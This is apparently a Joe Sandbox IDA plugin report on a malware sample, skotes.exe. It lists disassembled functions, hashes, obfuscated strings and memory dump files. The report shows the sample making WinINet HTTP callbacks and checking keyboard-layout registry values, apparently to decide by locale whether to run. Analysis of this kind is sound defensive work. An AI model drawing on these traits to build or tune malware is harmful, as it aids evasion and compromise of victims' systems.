Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b70000_skotes.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: b6ef493d185ecd6e05961dbd11159ec72a600f70796096a8f2b5786dd78cba64
Instruction ID: aa4686e9587e7ded220a5291786af77e32d18c311b138c076df228285fc14472
Opcode Fuzzy Hash: b6ef493d185ecd6e05961dbd11159ec72a600f70796096a8f2b5786dd78cba64
Instruction Fuzzy Hash: 2EB104329086859FDB15CF28C8817BEBFE5EF56350F1481FAE855EB242D6349D01CBA4

Function 00B72EC0 Relevance: 6.3, APIs: 4, Instructions: 272COMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 00B72F5F
__Mtx_unlock.LIBCPMT ref: 00B72FCC
__Mtx_unlock.LIBCPMT ref: 00B730F5
__Mtx_unlock.LIBCPMT ref: 00B7319B

Memory Dump Source

Source File: 00000002.00000002.1782523187.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000002.00000002.1782494384.0000000000B70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1782523187.0000000000BD2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1782617876.0000000000BD9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1782639343.0000000000BDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1782660147.0000000000BE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1782682518.0000000000BE6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1782703230.0000000000BE7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1782800896.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1782823431.0000000000D3D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1782858566.0000000000D53000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1782880915.0000000000D54000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1782906675.0000000000D57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1782906675.0000000000D5E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1782957213.0000000000D6A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1782980924.0000000000D6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783015660.0000000000D7B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783039880.0000000000D7C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783069304.0000000000D90000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783090791.0000000000D92000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783115125.0000000000D9A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783143886.0000000000DA7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783167634.0000000000DA8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783191465.0000000000DA9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783265769.0000000000DBB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783293021.0000000000DC2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783317671.0000000000DCA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783340016.0000000000DCD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783363276.0000000000DD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783389321.0000000000DD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783412208.0000000000DE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783434522.0000000000DEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783457284.0000000000DF4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783484026.0000000000DF5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783507403.0000000000DFD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783530009.0000000000E00000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783555831.0000000000E10000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783579002.0000000000E13000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783579002.0000000000E3E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783645404.0000000000E55000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783668079.0000000000E56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783692746.0000000000E6A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783716826.0000000000E6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783738588.0000000000E6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783764751.0000000000E71000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783787888.0000000000E73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783814321.0000000000E80000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783837074.0000000000E81000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b70000_skotes.jbxd

Yara matches

Similarity

API ID: Mtx_unlock
String ID:
API String ID: 1418687624-0
Opcode ID: 25e1ddbf7358814f205d7bb65d61d0ef3abe49c1018f9abe92e7995d402209c3
Instruction ID: 583099aebe30a6a4c5a8a0bab37f3a427bedc90798c9e8eaa9ee393735668e98
Opcode Fuzzy Hash: 25e1ddbf7358814f205d7bb65d61d0ef3abe49c1018f9abe92e7995d402209c3
Instruction Fuzzy Hash: 37A1E3B0A012059FDB10EF64C844B6ABBF8FF15710F0481A9E829D7691EB31EA04DBE1

Analysis Process: skotes.exePID: 7832, Parent PID: 1044COMMON

Execution Graph

Execution Coverage:	5.7%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	1037
Total number of Limit Nodes:	111

Executed Functions

Function 00B7E530 Relevance: 23.7, APIs: 2, Strings: 11, Instructions: 998
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

MGE+, xrefs: 00B7E821
#, xrefs: 00B80624
WDw=, xrefs: 00B7F71D, 00B7F9FA
UA==, xrefs: 00B7EB0F, 00B7ED56
111, xrefs: 00B7F7A0
246122658369, xrefs: 00B7F737, 00B7FA14, 00B805E7, 00B8099A
WTw=, xrefs: 00B8097D
GnNoc2Hc, xrefs: 00B7E56C
WTs=, xrefs: 00B805CA
9c9aa5, xrefs: 00B7FB8E
MQ==, xrefs: 00B7E592

Memory Dump Source

Source File: 00000006.00000002.2973332284.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000006.00000002.2973183378.0000000000B70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973332284.0000000000BD2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973940335.0000000000BD9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974116469.0000000000BDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974330158.0000000000BE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974509112.0000000000BE6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974706941.0000000000BE7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975510008.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975673102.0000000000D3D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975858151.0000000000D53000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976010191.0000000000D54000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976133799.0000000000D57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976133799.0000000000D5E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976372810.0000000000D6A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976588375.0000000000D6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976731520.0000000000D7B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976855106.0000000000D7C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977036956.0000000000D91000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977145651.0000000000D92000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977257068.0000000000D9A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977385733.0000000000DA7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977565674.0000000000DA8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978449942.0000000000DA9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978640930.0000000000DBB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978752510.0000000000DC2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978864602.0000000000DCA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978946296.0000000000DCD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979012965.0000000000DD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979113130.0000000000DD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979526112.0000000000DE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979623514.0000000000DEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979728075.0000000000DF4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979818464.0000000000DF5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979915094.0000000000DFD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980008821.0000000000E00000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980111926.0000000000E10000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980212112.0000000000E13000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980212112.0000000000E3E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980665830.0000000000E55000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980796943.0000000000E56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980939158.0000000000E6A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981125789.0000000000E6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981254982.0000000000E6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981448988.0000000000E71000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981597675.0000000000E73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981781764.0000000000E80000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981910800.0000000000E81000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b70000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID: #$111$246122658369$9c9aa5$GnNoc2Hc$MGE+$MQ==$UA==$WDw=$WTs=$WTw=
API String ID: 0-2571795437
Opcode ID: e8725ff29a0ee0d636446f0ad99c9ce0667f0199662f8f1aa527fa2b8488e41c
Instruction ID: 674ed0d2db97138db990f3aa0d1865d4d97dbab005ae90ba337fbd776f6b1f46
Opcode Fuzzy Hash: e8725ff29a0ee0d636446f0ad99c9ce0667f0199662f8f1aa527fa2b8488e41c
Instruction Fuzzy Hash: F082C170904288DBEF14EF68C9897DEBFF5AB05304F6085C9E815273D2D7759A88CB92

Function 00B7EB4E Relevance: 30.1, APIs: 3, Strings: 13, Instructions: 2131
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 00B7EB51
CreateDirectoryA.KERNEL32(00000000), ref: 00B7EC83
GetFileAttributesA.KERNEL32(00000000), ref: 00B7ED98

Strings

#, xrefs: 00B80624
FCQgKF==, xrefs: 00B7FEE4
111, xrefs: 00B7F7A0
mxo1L0x, xrefs: 00B7EE84
246122658369, xrefs: 00B7F737, 00B7FA14, 00B7FE00, 00B805E7
FisgLnsCZO1i, xrefs: 00B7FF19
invalid stoi argument, xrefs: 00B808B0
9c9aa5, xrefs: 00B7FB8E
stoi argument out of range, xrefs: 00B808C4
WDw=, xrefs: 00B7F71D, 00B7F9FA, 00B7FDE3
UA==, xrefs: 00B7EC41, 00B7ED56, 00B7EF89, 00B7F2CE
GiQaT29tduF=, xrefs: 00B7FEB6
WTs=, xrefs: 00B805CA

Memory Dump Source

Source File: 00000006.00000002.2973332284.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000006.00000002.2973183378.0000000000B70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973332284.0000000000BD2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973940335.0000000000BD9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974116469.0000000000BDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974330158.0000000000BE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974509112.0000000000BE6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974706941.0000000000BE7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975510008.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975673102.0000000000D3D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975858151.0000000000D53000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976010191.0000000000D54000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976133799.0000000000D57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976133799.0000000000D5E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976372810.0000000000D6A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976588375.0000000000D6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976731520.0000000000D7B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976855106.0000000000D7C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977036956.0000000000D91000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977145651.0000000000D92000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977257068.0000000000D9A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977385733.0000000000DA7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977565674.0000000000DA8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978449942.0000000000DA9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978640930.0000000000DBB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978752510.0000000000DC2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978864602.0000000000DCA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978946296.0000000000DCD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979012965.0000000000DD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979113130.0000000000DD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979526112.0000000000DE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979623514.0000000000DEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979728075.0000000000DF4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979818464.0000000000DF5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979915094.0000000000DFD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980008821.0000000000E00000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980111926.0000000000E10000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980212112.0000000000E13000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980212112.0000000000E3E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980665830.0000000000E55000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980796943.0000000000E56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980939158.0000000000E6A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981125789.0000000000E6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981254982.0000000000E6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981448988.0000000000E71000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981597675.0000000000E73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981781764.0000000000E80000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981910800.0000000000E81000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b70000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesFile$CreateDirectory
String ID: mxo1L0x$#$111$246122658369$9c9aa5$FCQgKF==$FisgLnsCZO1i$GiQaT29tduF=$UA==$WDw=$WTs=$invalid stoi argument$stoi argument out of range
API String ID: 1875963930-2267310118
Opcode ID: 9882fe2a31ae236b0be119bac734ba4f21c1fc94fb2f171f65b1a2cd408d61de
Instruction ID: 60b80f5a6186dec269baf5d00b55da32b6882d011a77a3b9a737f31a02638788
Opcode Fuzzy Hash: 9882fe2a31ae236b0be119bac734ba4f21c1fc94fb2f171f65b1a2cd408d61de
Instruction Fuzzy Hash: 96F25C71A101489BEF18EB38CD8979DBBF2AF46304F1481D8E419A73E6DB359AC4CB51

Function 00B7BE30 Relevance: 23.1, APIs: 7, Strings: 6, Instructions: 313
networkfilesleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(000005DC,EB1D7F10,?,00000000), ref: 00B7BEB8
InternetOpenW.WININET(00BC8DC8,00000000,00000000,00000000,00000000), ref: 00B7BEC7
InternetConnectA.WININET(00000000,?,00000050,00000000,00000000,00000003,00000000,00000001), ref: 00B7BEEC
HttpOpenRequestA.WININET(?,00000000), ref: 00B7BF36
HttpSendRequestA.WININET(?,00000000), ref: 00B7BFF6
InternetReadFile.WININET(?,?,000003FF,?), ref: 00B7C0A7
InternetReadFile.WININET(?,00000000,000003FF,?,?,00000000,?,?), ref: 00B7C161
InternetCloseHandle.WININET(?), ref: 00B7C187
InternetCloseHandle.WININET(?), ref: 00B7C18F
InternetCloseHandle.WININET(?), ref: 00B7C197

Strings

8HJUeIfzLo==, xrefs: 00B7C3CB, 00B7C623
RE1NXF==, xrefs: 00B7BF0E
8q, xrefs: 00B7CB06, 00B7CCE4
invalid stoi argument, xrefs: 00B7E4F4
stoi argument out of range, xrefs: 00B7E4EA
8HJUeMD Lq5=, xrefs: 00B7C465

Memory Dump Source

Source File: 00000006.00000002.2973332284.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000006.00000002.2973183378.0000000000B70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973332284.0000000000BD2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973940335.0000000000BD9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974116469.0000000000BDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974330158.0000000000BE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974509112.0000000000BE6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974706941.0000000000BE7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975510008.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975673102.0000000000D3D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975858151.0000000000D53000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976010191.0000000000D54000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976133799.0000000000D57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976133799.0000000000D5E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976372810.0000000000D6A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976588375.0000000000D6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976731520.0000000000D7B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976855106.0000000000D7C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977036956.0000000000D91000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977145651.0000000000D92000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977257068.0000000000D9A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977385733.0000000000DA7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977565674.0000000000DA8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978449942.0000000000DA9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978640930.0000000000DBB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978752510.0000000000DC2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978864602.0000000000DCA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978946296.0000000000DCD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979012965.0000000000DD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979113130.0000000000DD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979526112.0000000000DE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979623514.0000000000DEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979728075.0000000000DF4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979818464.0000000000DF5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979915094.0000000000DFD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980008821.0000000000E00000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980111926.0000000000E10000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980212112.0000000000E13000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980212112.0000000000E3E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980665830.0000000000E55000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980796943.0000000000E56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980939158.0000000000E6A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981125789.0000000000E6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981254982.0000000000E6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981448988.0000000000E71000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981597675.0000000000E73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981781764.0000000000E80000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981910800.0000000000E81000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b70000_skotes.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandle$FileHttpOpenReadRequest$ConnectSendSleep
String ID: 8HJUeIfzLo==$8HJUeMD Lq5=$8q$RE1NXF==$invalid stoi argument$stoi argument out of range
API String ID: 1439999335-1459022851
Opcode ID: 1830391ba87414b4fd79b0a892ed3521c476eaa01369b7aaceeea6b5324d4a6c
Instruction ID: 73eb10e73b9a4f68440432a2611ffcf09aa37e1dfa4846070994e50a20ef3f06
Opcode Fuzzy Hash: 1830391ba87414b4fd79b0a892ed3521c476eaa01369b7aaceeea6b5324d4a6c
Instruction Fuzzy Hash: A0B1D2B16001189BDB28DF28CC84BADBBE5EF45304F5081EDF519A72D2DB709AC0CB95

Function 00B76020 Relevance: 12.5, APIs: 2, Strings: 5, Instructions: 275
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExA.KERNEL32(80000001,00000000,00000000,00020019,80000001,0000043f,00000008,00000423,00000008,00000422,00000008,00000419,00000008), ref: 00B7617D
RegEnumValueA.KERNEL32(?,00000000,?,00001000,00000000,00000000,00000000,00000000), ref: 00B76271

Strings

Keyboard Layout\Preload, xrefs: 00B76054
00000422, xrefs: 00B760C9
00000423, xrefs: 00B760FA
0000043f, xrefs: 00B7612B
00000419, xrefs: 00B76098

Memory Dump Source

Source File: 00000006.00000002.2973332284.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000006.00000002.2973183378.0000000000B70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973332284.0000000000BD2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973940335.0000000000BD9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974116469.0000000000BDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974330158.0000000000BE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974509112.0000000000BE6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974706941.0000000000BE7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975510008.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975673102.0000000000D3D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975858151.0000000000D53000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976010191.0000000000D54000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976133799.0000000000D57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976133799.0000000000D5E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976372810.0000000000D6A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976588375.0000000000D6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976731520.0000000000D7B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976855106.0000000000D7C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977036956.0000000000D91000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977145651.0000000000D92000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977257068.0000000000D9A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977385733.0000000000DA7000.00000040.00000001.01000000.00000007.sdmpDownload File
